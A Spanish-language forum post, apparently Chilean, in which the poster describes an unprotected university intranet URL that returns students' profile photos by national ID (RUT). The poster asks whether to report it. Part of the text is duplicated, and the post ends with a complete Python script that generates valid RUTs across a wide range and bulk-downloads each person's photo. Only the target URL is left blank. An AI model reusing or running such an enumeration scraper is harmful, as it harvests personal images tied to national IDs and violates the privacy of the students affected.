- Se incorporó
- 16 Noviembre 2021
- Mensajes
- 436
Espero me puedan orientar.
Contexto
Urgando por ahí me tope con una URL desprotegida que permite accesar a la foto de perfil de un estudiante. Ésta se encuentra dentro del portal de una casa de estudios, dentro de la intranet.
Dicha URL, permite accesar a la foto de la persona en cuestión mediante su RUT, ergo a la foto de otras personas tambien, desde fuera de la intranet. Si bien son fotos en baja resolución, filtrando las fotos genéricas una vez identificadas es posible crear un listado de usuarios dentro del sistema a partir de dichos RUTs y especular al respecto.
Just 4 fun
Cómo se imaginarán, el script que colecta ya lo tengo hecho, y ahora que lo terminé (y lo entretenido cesó), me preguntaba sipublicarlo por acá para curiosidad general, no hacer nada, o comunicarme con la casa de estudios en cuestión y reportar. Tampoco tengo los skills en hacking/seguridad para urgar mucho y adentrarme mas, puesto que estoy aprendiendo lentamente en la medida que el trabajo me da tregua.
¿Qué harían ustedes?
PD: Habiendo terminado de escribir (para curiosidad general), me decidí a publicar el script, puesto que sin la URL es inofensivo.
PD#2: Ahora la cuestión es, reportar o no reportar...
Contexto
Urgando por ahí me tope con una URL desprotegida que permite accesar a la foto de perfil de un estudiante. Ésta se encuentra dentro del portal de una casa de estudios, dentro de la intranet.
Dicha URL, permite accesar a la foto de la persona en cuestión mediante su RUT, ergo a la foto de otras personas tambien, desde fuera de la intranet. Si bien son fotos en baja resolución, filtrando las fotos genéricas una vez identificadas es posible crear un listado de usuarios dentro del sistema a partir de dichos RUTs y especular al respecto.
Just 4 fun
Cómo se imaginarán, el script que colecta ya lo tengo hecho, y ahora que lo terminé (y lo entretenido cesó), me preguntaba si
¿Qué harían ustedes?
PD: Habiendo terminado de escribir (para curiosidad general), me decidí a publicar el script, puesto que sin la URL es inofensivo.
PD#2: Ahora la cuestión es, reportar o no reportar...
Python:#!/usr/bin/python3.8 # -*- coding: utf-8 -*- from itertools import cycle from os.path import exists from requests import get from requests.exceptions import ConnectionError from time import sleep def dv(rut): reversed_digits = map(int, reversed(str(rut))) factors = cycle(range(2, 8)) s = sum(d * f for d, f in zip(reversed_digits, factors)) dv = (-s) % 11 return 'K' if dv == 10 else dv def profile(url, name): print(f"Downloading DNI {name} profile img...", end='') # DOWNLOAD with get(url, stream=True) as r: if r.status_code == 200: # ABORT WHEN DNI DOES NOT HAVE PROFILE IMG if r.headers['Content-Type'] == 'image/png' and r.headers['Content-Length'] == '808': print('[Aborted]') else: profileName = 'img/' + name + '.' + r.headers['Content-Type'].split('/')[1] if exists(profileName): print('[PROFILE ALREADY EXISTS]') else: # SAVE with open(profileName, 'wb') as f: for chunk in r.iter_content(chunk_size=8192): f.write(chunk) print('[OK]') else: print('[HTTP %s]' % r.status_code) # RETRY ON HTTP 500 AFTER 800ms if r.status_code == 500: print('Retrying...') sleep(0.8) profile(url, name) def saveProgress(dni): '''Just for fun''' f = open('progress', 'w') f.write(dni) f.close() def run(): # DNI URL dniURL = '' # GENERATE DNI dniMin = 10000000 dniMax = 25999999 for i in range(dniMin, dniMax + 1): dni = str(i) + '-' + str(dv(i)) try: profile(f"{dniURL}{dni}", dni) except ConnectionError as e: print('\nNetwork Error... retrying...') profile(f"{dniURL}{dni}", dni) saveProgress(dni) if __name__ == '__main__': try: run() except KeyboardInterrupt as e: print("\n\n...Aborted!")
Última modificación: